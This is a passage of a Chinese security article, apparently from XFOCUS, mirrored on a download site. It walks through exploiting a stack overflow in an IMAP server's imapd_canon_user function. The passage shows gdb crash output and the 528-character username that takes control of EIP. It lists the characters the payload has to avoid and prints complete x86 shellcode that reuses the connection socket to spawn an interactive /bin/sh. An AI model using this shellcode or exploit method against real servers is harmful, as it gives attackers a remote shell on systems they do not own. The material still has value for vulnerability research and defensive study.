⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 759.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 2 页
字号:
Loaded symbols for /lib/libnsl.so.1<br />
Reading symbols from /lib/i686/libc.so.6...done.<br />
Loaded symbols for /lib/i686/libc.so.6<br />
Reading symbols from /lib/libdl.so.2...done.<br />
Loaded symbols for /lib/libdl.so.2<br />
Reading symbols from /lib/ld-linux.so.2...done.<br />
Loaded symbols for /lib/ld-linux.so.2<br />
Reading symbols from /lib/libnss_files.so.2...done.<br />
Loaded symbols for /lib/libnss_files.so.2<br />
0x402ecafe in __select () from /lib/i686/libc.so.6<br />
(gdb) c<br />
Continuing.<br />
<br />
按c继续后,在python的终端执行超长用户名的login操作,这时gdb的终端报出一个段错误:<br />
<br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x0804dc89 in imapd_canon_user (conn=0x41414141, context=0x41414141,<br />
&nbsp;&nbsp;&nbsp;&nbsp;user=0x41414141 &lt;Address 0x41414141 out of bounds&gt;, ulen=1094795585,<br />
&nbsp;&nbsp;&nbsp;&nbsp;flags=1094795585,<br />
&nbsp;&nbsp;&nbsp;&nbsp;user_realm=0x41414141 &lt;Address 0x41414141 out of bounds&gt;,<br />
&nbsp;&nbsp;&nbsp;&nbsp;out=0x41414141 &lt;Address 0x41414141 out of bounds&gt;, out_max=1094795585,<br />
&nbsp;&nbsp;&nbsp;&nbsp;out_ulen=0x41414141) at imapd.c:291<br />
291&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; userbuf[ulen] = &#39;\0&#39;;<br />
(gdb)<br />
<br />
这个imapd进程在imapd_canon_user函数里崩溃了,但是却是在&quot;userbuf[ulen] = &#39;\0&#39;;&quot;的时候崩溃了,查看这时系统情况:<br />
<br />
(gdb) x/i $pc<br />
0x804dc89 &lt;imapd_canon_user+81&gt;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movb&nbsp;&nbsp; $0x0,(%eax,%ebx,1)<br />
(gdb) x/5i $pc-8<br />
0x804dc81 &lt;imapd_canon_user+73&gt;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;&nbsp; 0x804be18 &lt;memcpy&gt;<br />
0x804dc86 &lt;imapd_canon_user+78&gt;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;0x14(%ebp),%eax<br />
0x804dc89 &lt;imapd_canon_user+81&gt;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movb&nbsp;&nbsp; $0x0,(%eax,%ebx,1)<br />
0x804dc8d &lt;imapd_canon_user+85&gt;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp;%edx<br />
0x804dc8e &lt;imapd_canon_user+86&gt;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp;%ecx<br />
(gdb) i reg $ebp $eax $ebx<br />
ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0xbfffd0c8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbfffd0c8<br />
eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1094795585<br />
ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0xbfffcec0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -1073754432<br />
(gdb) x/20x $ebp<br />
0xbfffd0c8:&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141<br />
0xbfffd0d8:&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141<br />
0xbfffd0e8:&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141<br />
0xbfffd0f8:&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141<br />
0xbfffd108:&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141<br />
<br />
原来ulen是imapd_canon_user函数的压栈参数,由于溢出的数据覆盖它在堆栈中保存的位置,所以取出的ulen是0x41414141。用它来查找userbuf的最后一个字符就导致内存访问越界了,所以user变量不能太大,最好正好覆盖函数返回地址。经过测试,用户名字串长度是528个字符的时候正好覆盖函数返回地址。用上面同样的方法执行login操作,这时gdb得到的信息如下:<br />
<br />
(gdb) c<br />
Continuing.<br />
<br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x41414141 in ?? ()<br />
(gdb) i reg<br />
eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0xfffffffd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -3<br />
ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0<br />
edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x4033a2a0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1077125792<br />
ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1094795585<br />
esp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0xbfffd0d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbfffd0d0<br />
ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141<br />
esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1094795585<br />
edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1094795585<br />
eip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x41414141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x41414141<br />
...<br />
<br />
现在eip变成可控的地址,接下来就可以写利用程序了。<br />
<br />
3 利用程序的实现<br />
<br />
把python那三行代码执行的过程用tcpdump抓包进行分析,发现imap的登陆会发两个包。首先会发一个CAPABILITY的包,然后发送LOGIN数据包,根据这些信息很容易就能写出利用程序。可是在实际尝试过程中就可以发现,发送完异常LOGIN数据包后,imap会返回类似如下的信息:<br />
<br />
ABCF1 BAD Missing required argument to Login<br />
<br />
这是由于作为用户名的shellcode和返回地址包含了imap的特殊字符,发送到服务器以后被转义了,所以不能成功。经过测试,发现如下的字符不能出现在shellcode和返回地址里:<br />
<br />
0x22<br />
0x0C<br />
0x0B<br />
0x00<br />
0x09<br />
0x0D<br />
0x0A<br />
0x20<br />
<br />
过滤了shellcode里的这些字符果然能够顺利执行到shellcode,但是测试了那些搜索套接字的shellcode都不能成功。无意中发现这个imap服务会把特别大的数当作当前连接的套接字,也就是下面的代码相当于搜索套接字shellcode的功能:<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jmp&nbsp;&nbsp;&nbsp;&nbsp; locate_addr<br />
find_s:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; %edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* The address of sting /bin/sh */<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%ebx, %ebx<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;decl&nbsp;&nbsp;&nbsp;&nbsp;%ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Amazing socket ;) */<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp; $0x2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;popl&nbsp;&nbsp;&nbsp;&nbsp;%ecx<br />
dup2s:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x3f,%al&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* sys_dup */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp; $0x80<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;decl&nbsp;&nbsp;&nbsp;&nbsp;%ecx<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jns&nbsp;&nbsp;&nbsp;&nbsp; dup2s<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%eax, %eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%edi, %ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* /bin/sh */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;leal&nbsp;&nbsp;&nbsp;&nbsp;0x8(%edi), %edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* -isp */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp; %eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp; %edx<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushl&nbsp;&nbsp; %ebx<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%esp, %ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* argv */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xorl&nbsp;&nbsp;&nbsp;&nbsp;%edx, %edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* envp=NULL */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0x0b,%al&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* sys_execve */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp; $0x80<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; %ebx,%ebx<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; %ebx,%eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp; %eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp; $0x80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* sys_exit */<br />
<br />
locate_addr:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;find_s<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.byte&nbsp;&nbsp; &#39;/&#39;, &#39;b&#39;, &#39;i&#39;, &#39;n&#39;, &#39;/&#39;, &#39;s&#39;, &#39;h&#39;, 0x0, &#39;-&#39;, &#39;i&#39;, &#39;s&#39;, &#39;p&#39;, 0x0<br />
<br />
为什么这样笔者也不是很清楚,笔者测试的环境是RedHat 7.2,如果有读者知道原因还希望不吝赐教。
	</td>
  </tr>
</table>
<div class="footer">
  Copyright &copy; 1998-2003 XFOCUS Team. All Rights Reserved
</div>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -